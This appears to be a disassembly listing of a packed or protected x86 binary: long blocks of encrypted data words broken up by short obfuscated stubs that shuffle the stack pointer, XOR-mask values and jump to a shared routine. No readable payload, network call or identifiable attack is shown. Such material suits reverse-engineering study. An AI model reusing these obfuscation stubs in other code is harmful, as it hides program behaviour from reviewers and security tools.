		dd 958FD466h, 43680941h, 8B14627h, 0A275D8ACh, 10E64B1Dh
		dd 8620E1EBh, 0A4B03BD5h, 0FE892ED3h, 0F338910h, 5FD7DDDBh
		dd 8390996Ch, 23000000h, 2CBC452Ah, 6C0AAF41h, 0A3F4F999h
		dd 2D607401h, 4028846Ch, 54375BD9h, 0B1DBE0B1h,	643558D4h
		dd 0B042235Fh, 76A1C1h,	6AF15DBAh, 93606762h, 40FE926Eh
		dd 3029A286h, 0C097770Eh, 4B700164h, 0D7D8BC01h, 0A54BF89Bh
		dd 16ACFB5Ch, 0ED53F29Ah, 0F4B5BFB9h, 3EB2996Ch, 0CD000000h
		dd 2C76452Ah, 999E7D1Dh, 0CA8227C9h, 0DA5309Fh,	5E5EF753h
		dd 37A2770Eh, 0AE4CD1B9h, 37EB4305h, 3DC6ABE3h,	492A34AFh
		dd 820028A0h, 84770EF0h, 50544C90h, 0F996D52h, 1, 0BF442AA8h
		dd 8AD402Dh, 0F5191B40h, 0C3B3C596h, 5978233Eh,	0DFD58F1h
		dd 0AA31A477h, 2CD5BBCEh, 0D770D892h, 25770DFDh, 19563AB6h
		dd 1236706Eh, 75110CE8h, 6E78356h, 9BF3496Eh, 0A5E5F36h
		dd 932FD0A7h, 87DC26C0h, 6E28BB9h, 6943DE66h, 1FF1710Bh
		dd 896FF29Ah, 79BB6860h, 3FF3E555h, 79578EBh, 1FFEAE2h
		dd 6064896Ch, 690DFA9Dh, 0FA410444h, 47680F92h,	40D9712Bh
		dd 0BC710B69h, 0D1BC41D1h, 0AC90335Bh, 0AE4F2678h, 0CAF3093Ah
		dd 24EC9369h, 0F000001h, 4B6785F0h, 1208E1FFh, 0C0885F75h
		dd 5D159A7Dh, 14C76FBAh, 0EB869F2Dh, 0F7EC781Bh, 0B8CCA837h
		dd 5BD42D5h, 626A8F60h,	2AFB94B4h, 9A41710Bh, 74D9B10Fh
		dd 0DF4C1CA1h, 96793165h, 0ACB07311h, 0F793698Bh, 6E7E7F16h
		dd 309FFD7Bh, 18000000h, 486686F0h, 0EF097E0h, 0B6D68577h
		dd 0C0CD5F00h, 0C0D869ACh, 9DCB4464h, 0A292770Eh, 1494FE7Eh
		dd 9D85CE5Ah, 6CFB770Eh, 0A5E578h, 0F0180000h, 0FF4B6785h
		dd 75121415h, 71225C0Bh, 7B1D60F4h, 0F8906C01h,	22C79D3Eh
		dd 0FDCC7A22h, 0FE50AEEh, 69C1937Ah, 710BA9F0h,	6F94614Ch
		dd 369D687Dh, 8728CF52h, 72731AEBh, 5E4E96F6h, 9C710BAAh
		dd 4B700DFEh, 7401ECFCh, 675F1D4Fh, 5FD98333h, 0AA0C85A5h
		dd 0E570710Bh, 84E72B0Fh, 0D1A1F0D3h, 63D967BEh, 0D8BE670Eh
		dd 670044D3h, 48E09E1Ch, 6F05ED23h, 0C99CDA81h,	81C48429h
		dd 17FE432Bh, 0B78DF696h, 0A286F163h, 28DB47D6h, 0BAF44345h
		dd 0FF4F496Eh, 0E688E774h, 3B37BCDDh, 773DDC50h, 0F0FFE4E8h
		dd 0FB94B485h, 41770EF0h, 0CCE1EB50h, 10FFB04Ch, 185DED85h
		dd 0F375089Ch, 0AF781139h, 11C47104h, 4E5BA9Bh,	0C7B16530h
		dd 36C841E9h, 0A1347104h, 9B1D4FDAh, 977B28CAh,	84137616h
		dd 462B81C4h, 0B6700EAFh, 436F992h, 8F082071h, 0ED710436h
		dd 34B0277Eh, 4F2ACD50h, 46518850h, 0F7BF2BC5h,	2A5E6B0Ch
		dd 3EC6866Dh, 68C2A4BBh, 34545939h, 0A721C6A9h,	4FCF13CFh
		dd 9ADC003Ch, 0B9EF2F3h, 0A4094364h, 0A243D7D0h, 8B1472Ah
		dd 0CDB6D6BDh, 83C4CA8Dh, 75FB94B4h, 9A413842h,	0D5DE92C5h
		dd 7F375B5Fh, 3848DD98h, 2DA29A29h, 0D8BF0246h,	53AB2404h
		dd 4A113842h, 53831C2Ch, 12F93842h, 0B253C587h,	4459D7DCh
		dd 3, 2A8003FFh, 5B26A647h, 0F45933B4h,	66CB9D26h, 967B6D92h
		dd 0D90F801h, 0B805476Ch, 0D4B9D3D4h, 422FB942h, 0B4008B1h
		dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 6768240Ch
		dd 8900001Bh, 9368243Ch, 89000006h, 0BA52240Ch,	7E912B6Eh
		dd 9B561FBFh, 8BD72984h, 0C4832414h, 0C8B5404h,	4C48124h
		dd 53000000h, 20A0BE56h, 0F681499Ch, 499C20A8h,	15EF389h
		dd 5B3B89CBh, 592434FFh, 4C481h, 3C8B0000h, 0E7895724h
		dd 4C781h, 0C7830000h, 243C8704h, 4D4BE95Ch, 0B8CCFFF9h
		dd 60A2FA0h, 0E0FFC503h, 61CCC918h, 580744C5h, 7721CEA6h
		dd 596DAEC5h, 3208CCA4h, 72994BEEh, 2E7F1152h, 69D6DE31h
		dd 30B10B27h, 4D07622Ch, 23CC8FB2h, 18FFEF1h, 59C33559h
		dd 0C94EF4Bh, 5D8394AEh, 6DC3B330h, 5A671BD2h, 36C5EE81h
		dd 35FCBAA6h, 63FEF299h, 54D89FFBh, 0BE7F04EBh,	0C1E941ACh
		dd 0A9000005h, 0D2A725CAh, 41D4B841h, 0F3460AAFh, 63F69A1Bh
		dd 8D67658Eh, 4E730452h, 0C2E3B71Ah, 50593B8Eh,	21C6A93Ch
		dd 0B49412A3h, 7104C11Bh, 1FD9DF61h, 4C0920Bh, 0FD7BEE71h
		dd 0E3470106h, 770EF06Ah, 0C0A503D6h, 2DEE882Dh, 2CCCFAADh
		dd 795895E9h, 52835E63h, 2DD6A72Ah, 0C5AA3757h,	32C5A83Ch
		dd 885DDB8Dh, 65C3E4h, 5F2E486Dh, 8429CDBEh, 523A81C4h
		dd 4CD1B937h, 0DB420AAFh, 7EC97C1Fh, 20717A18h,	2884972Dh
		dd 0EBA5C014h, 0E60C65Fh, 0D1AF3A77h, 0B0D4D9BCh, 0C1524F2Dh
		dd 0AE355038h, 3CC5573Ah, 8C31C1ACh, 499D97DCh,	0A5E6331h
		dd 0BD2FD0A7h, 0E60F795h, 41660977h, 0D4D5BA07h, 0B92CBC41h
		dd 3DF3BAD2h, 39BE51E9h, 0AF3AAFh, 9649B566h, 0C00C9958h
		dd 68C4E98Dh, 80650054h, 1EB5CAEFh, 35F96B2Fh, 374D76F2h
		dd 30996C63h, 61h, 0A2432A43h, 0F087022Ah, 9785770Eh
		dd 524F5543h, 108996Dh,	0AB000000h, 6A0492Ah, 7D6F9067h
		dd 23FC4EA2h, 8C1BD3D0h, 28F55830h, 9064C983h, 0FC907D6Fh
		dd 3456E03h, 2791FB46h,	0E228A03h, 6C63F677h, 7D66668Bh
		dd 8A31347h, 0CDAEE034h, 3ADDA024h, 8469D7B5h, 0F49BCEF3h
		dd 70CC99F3h, 6F452AF3h, 0F0FC95B5h, 9540770Eh,	0EF11AB3h
		dd 64F36677h, 3FD3B264h, 3DBB2EBEh, 10F5CBA8h, 0B62F7982h
		dd 0A770EF0h, 0B98F05Fh, 0F5FA9273h, 0F43CB3A4h, 8F65EF46h
		dd 4A2F67ABh, 0B75E23A1h, 0C3852ACEh, 0B80BF186h, 5E951766h
		dd 651F99F3h, 0E684CC5h, 4F25B077h, 3DAF543Ah, 0AE3EC350h
		dd 0C3852EC3h, 0E88DC40h, 0F695B967h, 0FC788117h, 6CC3BDB7h
		dd 0BEBA99h, 5F000000h,	5CECF594h, 770EEAC3h, 0BA0D5239h
		dd 0FC77CDB6h, 2CBC452Ah, 4CC0AF41h, 0A912DCBh,	941D4FDAh
		dd 0FB3D31E2h, 0DF76BC54h, 8AC2E788h, 95D61DFh,	0BE3A071h
		dd 0A2781139h, 11C4770Eh, 3887C28Ah, 791BEA54h,	78C7E888h
		dd 0FC9CBF10h, 0E04BCFFDh, 25CA9F15h, 8D61CC9Ch, 9A16068h
		dd 84A39264h, 1442ED8Eh, 23CB9E65h, 219FCA82h, 0E5EFC91Dh
		dd 82996D3Ch, 5Bh, 0E347013Dh, 770EF06Ah, 547E03D6h, 0C56CB565h
		dd 831479F7h, 0F1836E7Eh, 0F42880C8h, 0E009EEA0h, 0D80D15C6h
		dd 67FE449Ch, 4F66FF4Bh, 0FDA770Eh, 0A963DDB1h,	0E500881h
		dd 8D2B7477h, 1F09F409h, 0F46FC550h, 28A0492Ah,	0EF08200h
		dd 4C908477h, 6D525054h, 10F99h, 1A80000h, 0F06AE347h
		dd 3D6770Eh, 562EC0A5h,	8AC2E3B7h, 0F054CDDFh, 17E4770Eh
		dd 3CDCB392h, 7412CBBh,	0BAD2D3BAh, 97AFF331h, 486D0001h
		dd 0EAFE4500h, 7A34B2DDh, 11FFA4AEh, 2DA7D75h, 97B06F31h
		dd 5A9B71F1h, 0BDE5FA05h, 0A50A91Ch, 0C7BD9A0Ah, 8C117BEEh
		dd 1680C4E9h, 97971A45h, 0D9FE10D5h, 4AF07D91h,	0E68B61CFh
		dd 56FEEE0Fh, 710B3ABBh, 117CA05Ch, 0CFB2E24Eh,	0BF35F8FEh
		dd 4A2432Ah, 916F9461h,	608568FDh, 38DFAE68h, 0C15439B7h
		dd 11E3823Ch, 0AF7C0CE8h, 0A3422175h, 2BBE2ECFh, 9E22BB8Fh
		dd 0CB9E710Bh, 7075186Dh, 0FFCDD71Ch, 37D69369h, 4D3A5F60h
		dd 235236BEh, 4B1D7FF5h, 9E000001h, 4B6785F0h, 1208E1FFh
		dd 0C0885F75h, 138C9C56h, 0E710BC9h, 0BC8A13Ah,	49481F71h
		dd 0AC432682h, 38DB450Bh, 89EE537Dh, 2144205Eh,	523FA94Eh
		dd 0CF523ABBh, 0A7264E2Dh, 0DDD09E83h, 0E48B1676h, 0E2C289C3h
		dd 0CD771CBEh, 892EC199h, 61428DBh, 4DD3936Ah, 6C000000h
		dd 486686F0h, 0BC2CD1A5h, 35155329h, 770EF0CCh,	0CA8D25B0h
		dd 0EF15CDACh, 5434B0EBh, 0E8D138Ch, 0A6EACA77h, 0C7544C36h
		dd 9A3FAA22h, 0C7878B5Ah, 6901EC04h, 0DF878C1h,	3971E477h
		dd 403CC154h, 0AC292Ch,	0FC910000h, 991A961Bh, 4B6785F0h
		dd 0DA73D791h, 26770EF0h, 0BA53F7B3h, 6770EF0h,	0BF5D553h
		dd 71751214h, 0CBCC6639h, 1C98EB5Dh, 0B6D930Ch,	9762E971h
		dd 988568F5h, 0B5D07F6h, 0B3FB78CCh, 0A60B5924h, 0D6902ECFh
		dd 0B0CD972h, 34B02771h, 0D9C8C54h, 6DCB710Bh, 0CFE97B3h
		dd 5D42710Bh, 1476CB0Bh, 54D0BF1Bh, 937A3C60h, 46317E12h
		dd 9B7F0EA8h, 0F0E861C9h, 8154710Bh, 0B937523Ah, 20B82BFFh
		dd 76176F06h, 184D1FA4h, 98D6859Ch, 248025F5h, 9116F944h
		dd 6CB08CF7h, 4B6785F0h, 0FFF06CFFh, 4A22C374h,	63F6CFA5h
		dd 85F0766Dh, 6CFF4B67h, 0A4750920h, 42F53AFBh,	48A6DE6h
		dd 7304D371h, 5A213E9Ah, 27C8AF32h, 0B439DCA1h,	6FE840FAh
		dd 0CD7104E7h, 22CAA21Eh, 2DA36067h, 1F577BB9h,	8C117778h
		dd 3984C4E9h, 0B3385055h, 82152D71h, 0CDA0457Dh, 4F25A028h
		dd 3EBF563Bh, 0AB3AEh, 3C20000h, 28CDA045h, 0D44F25A0h
		dd 26A6472Ah, 5933B45Bh, 0CB9D26F4h, 7B6D9266h,	90F80196h
		dd 5476C0Dh, 0B9D3D4B8h, 2FB942D4h, 4008B142h, 0E789570Bh
		dd 4C781h, 0EF830000h, 243C8704h, 241C895Ch, 378C68h, 24148900h
		dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 8368241Ch
		dd 8B060A30h, 0C4812414h, 4, 241C8B54h,	6804C483h, 3A19h
		dd 0B8240489h, 8, 1089D801h, 241C8B58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5439D9
; ---------------------------------------------------------------------------
		db 30h
		dd 0A35BDB8h, 0FFC50306h, 0D436F8E0h, 0A102230Ch, 0FCAD6F1Ah
		dd 69143264h, 763BB45Dh, 221ECB74h, 95F24871h, 7ED2C301h
		dd 151BB978h, 0B2468243h, 0F9106F49h, 2D5D7B5Bh, 28D01A59h
		dd 4C96D157h, 38313D32h, 0E9D00000h, 0CBA09946h, 3E98D09h
		dd 0BA77B764h, 203DC34Eh, 1B7CDE51h, 611E0D7Ah,	0C4C5850Ah
		dd 2518B025h, 0FE5C1519h, 0AA326A4Eh, 29FBCC19h, 0BCB8A530h
		dd 0A404EB76h, 0E919D1E2h, 525h, 0FAEE0FE2h, 6F7D8617h
		dd 99CFF49Ah, 95F6034h,	0BA2ED3A4h, 0B8590DC8h,	28C85D33h
		dd 9E7CC187h, 0BE27715h, 0DBDFE6EAh, 4BAD64Fh, 0D99A2A71h
		dd 2AA2432Ah, 2DE7AB6Ch, 7FAE348Eh, 0E60BEC81h,	77781FE2h
		dd 0C0E58815h, 0F4540E88h, 770E8B5Bh, 2BBE3AA1h, 7E27A14Ah
		dd 0B12AFEB8h, 0F770E8Bh, 0B4D8DC58h, 5E6334D9h, 88DD5B0Eh
		dd 0AB5438E5h, 3DA820C9h, 3085CB56h, 82219362h,	0E01CC980h
		dd 0EA885D15h, 563A87C1h, 0C7523751h, 0E2B00569h, 4E228FD9h
		dd 2B43FA9h, 88648D63h,	4C2E60B4h, 0B95C21A7h, 0E8C5434h
		dd 18770EE1h, 0C295F024h, 8AB34C3Eh, 22DC1BC1h,	9C40DB05h
		dd 5F6B6031h, 0C567A68Ch, 3940446Fh, 7A3F996Dh,	0B8000000h
		dd 2D505E01h, 0F3B56831h, 787D1075h, 91F5A610h,	3113F027h
		dd 0A14A2BBEh, 0E6C6A227h, 770E046Bh, 492F73A1h, 996C6633h
		dd 0F992B670h, 20770E10h, 0E108F08h, 277EED77h,	62634B0h
		dd 94000000h, 1D9B20F1h, 0A0492AA6h, 94B46E28h,	770EF0FBh
		dd 698E6241h, 0B2432682h, 0F3AE7109h, 7DB1B072h, 3EE13E0h
		dd 9478C5A5h, 11FC05EBh, 2E72CE77h, 6E628714h, 9DF3F49Bh
		dd 0BC452AE6h, 0FB4412Ch, 0F891B973h, 44770EF0h, 0D0731B91h
		dd 9166386Ch, 0FE916468h, 4429EFF9h, 0D7730FB0h, 770EF03Eh
		dd 3459D782h, 9E0F5962h, 727A7EA2h, 0D996D4Ch, 7Eh, 8E6C01AEh
		dd 8A666365h, 0D1E912E7h, 18A17617h, 9A331570h,	0E6770EF0h
		dd 7AC1EA8Bh, 6D03EEFEh, 4A2CD9BCh, 0D7A227A1h,	0DABD0048h
		dd 0F0A92206h, 4017770Eh, 690E93F5h, 6A4A0840h,	5FD59426h
		dd 159E730Bh, 0E40DE277h, 0C15332E4h, 4529BC38h, 0BB7928A0h
		dd 4C8B8197h, 3B64996Dh, 97000000h, 6A8F6C01h, 0E4896762h
		dd 13FEEE13h, 98107881h, 997E3064h, 0EB5B86DAh,	6AF1EDFAh
		dd 492A7D66h, 820028A0h, 84770EF0h, 73741BEAh, 9B9DC1F5h
		dd 996D5281h, 17Eh, 442AF900h, 9A6B2DBFh, 1376F2F3h, 9C3F7B7Ch
		dd 0C6A8B639h, 993EAB3Dh, 3AB6A415h, 0C70B2952h, 8CC0E98Fh
		dd 5C1A98E3h, 0C740E8A2h, 35770E91h, 0A85123A6h, 0FFCFA520h
		dd 7511A0D5h, 61CC9C4Bh, 967B698Eh, 28EEFEFFh, 0A241DA6Eh
		dd 28BF710Bh, 0A2E17C4Ch, 0CA06710Bh, 7C29CC86h, 0EC8A119Ah
		dd 0C5A38E2Bh, 0F9EDB237h, 5D620ABDh, 75F35E0Bh, 0C4E98C11h
		dd 51563984h, 2A77419h,	0AB481F4Ah, 41C2AA06h, 20F78FD3h
		dd 223AC99Fh, 0DD9369DCh, 144h,	0ACCDF89Bh, 0E4EF4DDEh
		dd 85F08B08h, 290148ADh, 65F0F677h, 1FDFFD4Dh, 8E5D7511h
		dd 1B9C73DEh, 100DE075h, 0B56FB17Ch, 25CA8202h,	0E4B7F35Eh
		dd 132D5BC4h, 63315402h, 278AE25Eh, 0B46D6550h,	0C7C764BCh
		dd 81B31078h, 4D72055Dh, 0FD0D41Fh, 688F936Ah, 0ED000000h
		dd 0D9D5A32Ah, 0B42D871h, 0E0B12471h, 3F98BF2h,	6686F080h
		dd 0F097E048h, 2E85770Eh, 0A025A74Ch, 0F26BB3D5h, 0ED770EF0h
		dd 6394E8ABh, 63FBDF5h,	0D24296AAh, 9F6E08A8h, 0A97F1FAh
		dd 5C094368h, 0F891B9F1h, 44770E07h, 0CD5D1B91h, 770E0784h
		dd 872CCE9Fh, 0D2480C5h, 9F8C3694h, 4CDB84B0h, 86C518h
		dd 1780000h, 8967886Ch,	1D55533Eh, 881A963h, 74770EF1h
		dd 0F02EA7E1h, 0C792770Eh, 311B2F69h, 2F751214h, 5D0FB040h
		dd 462BBD08h, 0F75A0EAFh, 25CD9F20h, 710BCC35h,	102A7EB2h
		dd 0AA14787Dh, 0D622ABE9h, 916F97C4h, 255D5B26h, 59FD505h
		dd 1F564B6Fh, 0E2886CB3h, 352DCCE9h, 67F29469h,	8966FF4Bh
		dd 0FDA7705h, 0B24528A0h, 1C105B0Dh, 83216CC8h,	0BC1343E7h
		dd 0DE8D74FFh, 0F6520C8Ah, 710B9F5Dh, 3BB834A3h, 4B6785F0h
		dd 922AFFFh, 0BCFA6175h, 0B5584529h, 0A60D5830h, 8C1EA326h
		dd 0CCC6EDB3h, 967B13E9h, 7EAFEFFh, 0F51D4F70h,	85AFFC0Eh
		dd 0B8F2261Ah, 29BCD0D5h, 4F09A146h, 3D0F62FBh,	0AD0BDE5Dh
		dd 4EB85BDDh, 0D7C2DF40h, 3D73BEA3h, 8A22329Ch,	3D1725BEh
		dd 61CC9B5Dh, 1768E149h, 1D45D3Dh, 892EC6ABh, 28E294DFh
		dd 3D178700h, 0FD9EF55Dh, 6AF194F4h, 2C66AA8Eh,	3AD37749h
		dd 865D3D17h, 0BD0044D3h, 0C1BA1FDAh, 0CD2BDE1Bh, 3EB6666h
		dd 0A000000h, 472A8003h, 0B45B26A6h, 26F45933h,	9266CB9Dh
		dd 1967B6Dh, 6C0D90F8h,	0D4B80547h, 42D4B9D3h, 0B1422FB9h
		dd 520B4008h, 0C281E289h, 4, 4BF57h, 0FA290000h, 2414875Fh
		dd 165A685Ch, 1C890000h, 30926824h, 14890000h, 43BD5524h
		dd 5666DA17h, 0D12DE4BEh, 7BEFBB51h, 0F329BEB5h, 5DEB295Eh
		dd 8904EC83h, 4832424h,	535A0424h, 87242C81h, 8F33B338h
		dd 42810842h, 0B3388708h, 2434FF33h, 4C4835Ah, 5B2434FFh
		dd 4C481h, 7EE90000h, 0D1FFF941h, 594367DFh, 3B77B8A5h
		dd 0C503060Ah, 0ABD8E0FFh, 74B509F3h, 784058A7h, 30C9074Fh
		dd 4BBF4BDFh, 0ADBB1CA3h, 59D368F4h, 36E47D30h,	0E2873143h
		dd 0EC82600Fh, 423D7893h, 63B321D0h, 483A3FE6h,	0CA6D77EBh
		dd 0AECE26DAh, 8D6E6D97h, 65A61A3Fh, 137854BFh,	47E65B61h
		dd 12397149h, 9ADE2523h, 0B8AB1D33h, 0B4EE29D8h, 0ACEF7655h
		dd 0E2443E59h, 68ED5F38h, 0F9196C88h, 22C65D06h, 0F63D1BEEh
		dd 0FF2F06D3h, 3157292Ch, 8D8D6F81h, 60A3D14h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 5BC35646h, 54AF8D81h
		dd 8D89720Bh, 60331D1h,	85C7F88Bh, 60301E1h, 73E4h, 5E9h
		dd 9AA37F00h, 8B604718h, 310A98Dh, 30C68106h, 612C9326h
		dd 21BD85C7h, 603h, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0F3A82EC3h, 799249ACh
		dd 8589E2FBh, 6031FFDh,	235DB5FFh, 0BF0F0603h, 9195FFD7h
		dd 81060326h, 643168D3h, 0FF006A4Eh, 31FB995h, 0EBC08B06h
		dd 0DA9DE43Fh, 80222DA9h, 6BAC7527h, 0C3F5F52Fh, 0E5F04414h
		dd 0EF71325Ah, 0A08B8321h, 83510AE5h, 8616FCFBh, 64A044C4h
		dd 64D430C0h, 0B401F2C4h, 6D652C10h, 0D489FFBFh, 684618Fh
		dd 0BBE8DE64h, 520C04EBh, 6E97CC1h, 49000005h, 0F24705AAh
		dd 61F49821h, 93666A8Fh, 396FAFBh, 0AD07456Eh, 0AE532472h
		dd 22C3573Ah, 0B039DBAEh, 1A649DCh, 0D4743243h,	7104B33Bh
		dd 2A7CFF81h, 472AA243h, 0F65B09B2h, 6C95661Fh,	0E482697Ch
		dd 0B517DC33h, 0E783D638h, 0E43CA43h, 0C5A33677h, 0B035D8A5h
		dd 3A875D8h, 386CC049h,	7A6E8F66h, 0C2FC0597h, 4B95E811h
		dd 0BB7106A7h, 6059D6B6h, 0EBE1402Ah, 79CCA01Ch, 0EB76169Bh
		dd 0FDE6E607h, 39DB93C7h, 0A649DCB0h, 21BF4701h, 0EB770E54h
		dd 0EDF7E135h, 0EA996CB5h, 64h,	0A2432A15h, 0F087022Ah
		dd 0DBBD770Eh, 4A2BB6D6h, 0F03DD672h, 0D483770Eh, 0DDB21F49h
		dd 0A7D1B4D4h, 0C897276Bh, 0C100054h, 0CB996D52h, 1, 8A6C0174h
		dd 6A8B6261h, 0E4896762h, 3CFA9217h, 0A721C6A9h
		dd 52234622h, 0BA523FA9h, 56EA5335h, 81A96302h,	770EF108h
		dd 660BE174h, 95786C95h, 0F4EFFD02h, 0DB6F452Ah, 770EF042h
		dd 0C5C2BBEh, 932FD4A1h, 0F4941DF2h, 0D0731B91h, 2B534516h
		dd 616B8C6Ch, 4F05364h,	75999D1Bh, 31575C3Dh, 160FE687h
		dd 786D7F84h, 9B7217EDh, 9EF721Ah, 0FB39E8E0h, 54CBC1D7h
		dd 48A4996Ch, 0D7000000h, 6AE34701h, 0D6770EF0h, 2FC0A503h
		dd 997FC28Ah, 0F0EE67C3h, 8752770Eh, 4BE95038h,	1AA4F07h
		dd 9019FE43h, 7C8115F8h, 5387BD6Ch, 6D4C4F45h, 342899h
		dd 2A4B0000h, 412CBC45h, 0E65E0EB3h, 0CBACE62Ah, 2A31A226h
		dd 28A049h, 770EF082h, 0B1DBDCBCh, 25A7482Ch, 229CC07Ch
		dd 7B7DA197h, 996D5261h, 11Eh, 442A9900h, 0AD402DBFh, 0F0D64FDBh
		dd 472A770Eh, 54008B1h,	0F697D3BEh, 9BCE9E1Fh, 0F0D24BDFh
		dd 0BB2E770Eh, 7426AD3Dh, 0A3442BBAh, 0F36CBC29h, 2E770EF0h
		dd 0EF0811Ah, 2968FF77h, 0AEF2C6A2h, 0C1F90294h, 0F0AA2307h
		dd 0B65A770Eh, 13325731h, 0EB84E844h, 0C46402A0h, 7511FFBAh
		dd 68FDB520h, 0E1896788h, 38C15637h, 0AD7D3550h, 710BDF34h
		dd 267DD88h, 0B3064A6Bh, 69B1DBDCh, 710BDFEEh, 0F38BDF13h
		dd 60F59B1Ch, 9D60688Dh, 3093F5FAh, 0D8ADD80Ch,	0B0D5B738h
		dd 0D94E58EFh, 38B40513h, 34C5C255h, 3D88DD8Fh,	528084AFh
		dd 507F936Ah, 0F8000001h, 4B6785F0h, 1208E1FFh,	0C0885F75h
		dd 77159A7Dh, 11390BE2h, 710BC878h, 0C90E87A3h,	0E772710Bh
		dd 3A5239ACh, 0AD3FC057h, 0A47633C0h, 75D8B01Fh, 0B4903A8h
		dd 0E57E72Bh, 0C2A3C216h, 18A1722Bh, 0BB52378Dh, 7AAE02F0h
		dd 0B5335AEh, 0BBDC8B71h, 533EF28Dh, 29EEF63Dh,	80E9936Ah
		dd 0A000000h, 6AE34701h, 0D6770EF0h, 0F0DF78D0h, 8E5D770Eh
		dd 90FA4523h, 0C99C5610h, 60F95127h, 0DC770EF0h, 0BF2AA209h
		dd 0F0A0E9C1h, 0C99C770Eh, 0F0DE779Fh, 866E770Eh, 98F0F599h
		dd 9B6666CDh, 0A99F3F4h, 0FE74C60Ah, 20F392C6h,	81F0B9BFh
		dd 0C64CE2D4h, 0D1354A6Fh, 79C4E98Ch, 6963886Ah, 4D37807Ch
		dd 0B45913AFh, 0D88DDFE0h, 45034C5Ch, 4179770Eh, 0E4470E9h
		dd 0B219CC77h, 713BDEh,	0F0BA0000h, 0FF4B6785h,	75121415h
		dd 0A10C5C0Bh, 0D6BB29CEh, 682EBE3Fh, 0CC019AAEh, 0E87F710Bh
		dd 0CC2C3C0Ch, 0FDBB710Bh, 67618A68h, 6EB28662h, 0B74441D4h
		dd 8621A732h, 65C5FDFBh, 6F05F712h, 0DE68B669h,	6A2FC139h
		dd 0A820B78Eh, 0DB8D32C5h, 0EC489C90h, 0B46703A1h, 32AC6EDBh
		dd 85C3B975h, 0FFF552A5h, 751BCE74h, 0A03911CBh, 1C710BD5h
		dd 0F070F349h, 884B6785h, 0FD4D08FCh, 0F046FCB6h, 0F0C95465h
		dd 20DA9410h, 6549C266h, 20B7770Eh, 91116444h, 580F7508h
		dd 0F6A37D1Eh, 0B7D37CCEh, 29CC5139h, 1830EA84h, 7104267Fh
		dd 0B1DBE0B1h, 926EFDD4h, 63846BFEh, 36AEC169h,	0EE422ABFh
		dd 3B0DE0BAh, 4D1676EFh, 0B01FCAFAh, 1A649DCh, 0E70ED147h
		dd 0BEC244D4h, 16FE9369h, 836AF791h, 0F3876A62h, 1D139AF2h
		dd 0C0FC49C9h, 0B233DA9Ch, 797E11F4h, 0EC3C7A6Fh, 0FA4DA773h
		dd 0C2A602C9h, 23E0B154h, 63D9A44Dh, 646670Eh, 3CBh, 80036A00h
		dd 26A6472Ah, 5933B45Bh, 0CB9D26F4h, 7B6D9266h,	90F80196h
		dd 5476C0Dh, 0B9D3D4B8h, 2FB942D4h, 4008B142h
		db 0Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		push	53E2h
		mov	[esp], eax
		push	6943h
		mov	[esp], edi
		push	60A3D63h
		mov	eax, [esp]
		add	esp, 4
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	5E73h
		mov	[esp], eax
		xor	dword ptr [esp], 7D412888h
		pop	dword ptr [edi+8]
		xor	dword ptr [edi+8], 7D412888h
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5439D9
; ---------------------------------------------------------------------------
		dd 0BF646DC8h, 647E926Ch, 41E1B8D6h, 0C503060Ah, 0CDCCE0FFh
		dd 0EEF3730Eh, 0A2907935h, 0ED04519Bh, 10D54617h, 98003A90h
		dd 0F8C12495h, 30EC4A29h, 37E5E4Ch, 4EB70E7h, 3BD0A51Bh
		dd 54FE9h, 0C7E88B00h, 5A5F3C81h, 24CDA336h, 0B439DDA0h
		dd 7AC4DD0h, 6634E341h,	91646891h, 5E8FC01h, 8B1E7277h
		dd 0F48DC3E4h, 0AEFD96B2h, 0B1437104h, 0A2432A32h, 9B2472Ah
		dd 6B08DD5Bh, 0E5430646h, 80C8ED80h, 33555A3Dh,	0A424CDAEh
		dd 0D7B136D9h, 4A02A34Ah, 50EA3EF2h, 3BAE3EC3h,	0F3271DACh
		dd 97D3D4BBh, 0F19B20F6h, 0CA741894h, 3A95A909h, 4D0F5059h
		dd 926366E2h, 1CFE9369h, 8D47F197h, 0E1324BDh, 77CD9877h
		dd 3F7B8012h, 0C41DD285h, 75A65276h, 0E4FBA53h,	17530677h
		dd 0E4F9A33h, 0F573E677h, 0C1692395h, 770E4F48h, 264B21B4h
		dd 0B03BAD52h, 8416287Ch, 0F184697Fh, 0D6749CCCh, 68770E4Fh
		dd 85686085h, 179ECEF3h, 3E45F519h, 0BAC2D6FAh,	0E9996CB0h
		dd 19737404h, 85EAF04Ch, 15000000h, 2AA2432Ah, 0EF08702h
		dd 0D4D9BD77h, 16881BB4h, 9BE6D0E9h, 0CD9F20F4h, 0D363B78Fh
		dd 544C9084h, 996C7550h, 10Fh, 6C01A800h, 0E68B618Ah, 11FCEC15h
		dd 806D7F84h, 3C81CBECh, 0FF8D9C5Bh, 165F4FF6h,	9E7CC18Bh
		dd 6EE7315h, 0D1E2E7E1h, 0EC9F3F63h, 8C610C50h,	0C184C4E9h
		dd 4C75066Bh, 17FD9E18h, 0E0BC72DCh, 3A4481Fh, 882DC0A5h
		dd 88A05AC4h, 770E560Fh, 55A53E0Ah, 4C1B770Eh, 0A92A8655h
		dd 6AE34701h, 0D6770EF0h, 2FC0A503h, 9E7FC28Ah,	6CD07315h
		dd 758A4D38h, 0D86FEFCh, 0D2BA3FD1h, 394C28B7h,	0A83D5358h
		dd 0C5A820C5h, 4FDE8E33h, 0A1AB8DD1h, 2996D45h,	0E367E048h
		dd 98AB770Eh, 672D1977h, 0CF90475Eh, 901C0F9Dh,	5FBD3B7Fh
